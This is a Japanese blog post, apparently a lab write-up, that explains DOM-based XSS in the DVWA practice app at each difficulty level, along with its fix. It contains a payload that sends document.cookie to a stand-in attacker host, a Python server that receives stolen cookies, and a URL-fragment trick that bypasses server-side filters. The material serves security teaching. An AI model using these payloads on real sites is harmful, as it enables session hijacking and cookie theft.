Skip to content
Go back

【DVWA】コードから学ぶDOM Based XSSとPythonでの検証(Low/Medium/High)

Webセキュリティ学習用アプリ「DVWA (Damn Vulnerable Web App)」を使って、DOM Based Cross Site Scripting (DOM XSS) についての検証を行いました。 Reflected XSSとの違いや、サーバー側の対策をすり抜ける「フラグメント攻撃」、そしてPythonを使ったcookieの奪取までをまとめます。

環境構築については【DVWA】DockerでDVWA環境を構築してコマンドインジェクションを試すをご覧ください。

DOM Based XSS とは?

XSS(クロスサイトスクリプティング)の一種ですが、発生場所に大きな特徴があります。

重要なキーワードは Source(ソース)Sink(シンク) です。

サーバーとの通信に関係なく、ブラウザ上の処理だけで完結して攻撃が成立するのが最大の特徴です。


Level : Low

xssdom-lowのブラウザ画面
xssdom-lowのブラウザ画面

ソースコード解析

DVWAの言語選択フォームでは、以下のようなJSが動いていました。

// URLから "default=" の後ろを取得
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);

// デコードしてHTMLに書き込む(ここがSink!)
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");

問題点

decodeURI(lang) を行っている点です。 ブラウザは通常、URLに入力された <script> などを %3Cscript%3E のようにエンコード(無害化)してくれますが、このコードはそれをわざわざデコードして(元に戻して)から document.write しています。

攻撃手法

URLパラメータにスクリプトを埋め込みます。

http://target/vulnerabilities/xss_d/?default=<script>alert('XSS')</script>

これにより、ブラウザ上でアラートが実行されます。実戦では、これが document.cookie の奪取(セッションハイジャック)などに悪用されます。

xss成功画面
xss成功画面

Pythonによる検証

DOM XSSの検証にはalert関数の出力を見るというのが定番ですが、それが出来たから何が問題なのかという点がいまいち分かりにくいと思います。 なので今回はDOM XSSの脆弱性によりCookieを奪うという直接的な攻撃をpythonで検証します。

URLパラメータにスクリプトを埋め込みます。

http://yourserver/vulnerabilities/xss_d/?default=<script>var img = new Image(); img.src = "http://attackerserver:65000/cookie=" + document.cookie;</script>
import http.server
import socketserver
from urllib.parse import unquote
import datetime

# --- 設定 ---
PORT = 65000  # 待ち受けるポート番号
# -------------

class StealHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        decoded_path = unquote(self.path)
        
        print(f"[-] 送信元IP: {self.client_address[0]}")
        print(f"[-] リクエスト内容: {decoded_path}")
    
        self.send_response(200)
        self.end_headers()

print(f"[*] 攻撃用サーバーを起動しました。ポート: {PORT}")
print("[*] 接続待機中...")

# サーバー起動(Ctrl+Cで停止)
with socketserver.TCPServer(("", PORT), StealHandler) as httpd:
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("\n[*] サーバーを停止します。")

スクリプトが埋め込まれたURLを使ってログイン済みのユーザがアクセスすると、攻撃者サーバがcookieを奪取することに成功します。

攻撃者サーバがcookieを奪取することに成功
攻撃者サーバがcookieを奪取することに成功

Level: Medium / High

MediumやHighレベルでは、サーバー側(PHP)で以下のような対策が行われています。

mediumでのPHPコード

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

highレベルでのPHPコード


<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

一見完璧に見えますが、DOM Based XSSにおいては完全に無意味でした。

なぜ対策できないのか?

Webの仕様上、URLの #(ハッシュ/フラグメント)より後ろの部分は、サーバーに送信されない からです。

攻撃手法(Bypass)

PHPの検閲をすり抜けるために、攻撃コードを # の後ろに隠します。

http://yourserver/vulnerabilities/xss_d/#?default=<script>var img = new Image(); img.src = "http://attackerserver:65000/cookie=" + document.cookie;</script>

サーバー側のPHPは「English」しか見ていないので通しますが、ブラウザは「#」の後ろを拾って実行してしまいます。

フラグメント攻撃-medium
フラグメント攻撃-medium
フラグメント攻撃-high
フラグメント攻撃-high

教訓: DOM Based XSS はクライアントの問題であり、サーバー側のフィルタリングでは防げない。


Level: Impossible

最後に、安全なコード(Impossible)を確認しておきましょう。

安全なコード

// decodeURI が消えている!
document.write("<option value='" + lang + "'>" + (lang) + "</option>");

Lowレベルにあった decodeURI(lang) が削除されています。

なぜこれで安全?

ブラウザはURLに入力された <> を、%3C %3E といった形にURLエンコードします。 プログラム側でデコードせずにそのまま出力すれば、ブラウザはこれを「タグ」ではなく「ただの文字列」として扱うため、スクリプトは実行されません。

まとめ

  1. DOM XSSはブラウザの中で起きる: サーバーのログに残らないこともある。
  2. #(フラグメント)はサーバーに届かない: これを利用してWAFや入力チェックを回避できる。
  3. 不要なデコードはしない: 入力値を扱うときは、ブラウザの自動エンコード等の仕組みを理解して利用する。

攻撃手法と防御手法の両方を見ることで、Webの仕組みへの理解が深まると思います。


Share this post on:

Previous Post
【DVWA】コードから学ぶReflected XSSとPythonでの検証(Low/Medium/High)
Next Post
【DVWA】コードから学ぶSQLインジェクション攻撃とPythonでの検証 (Low/Medium/High)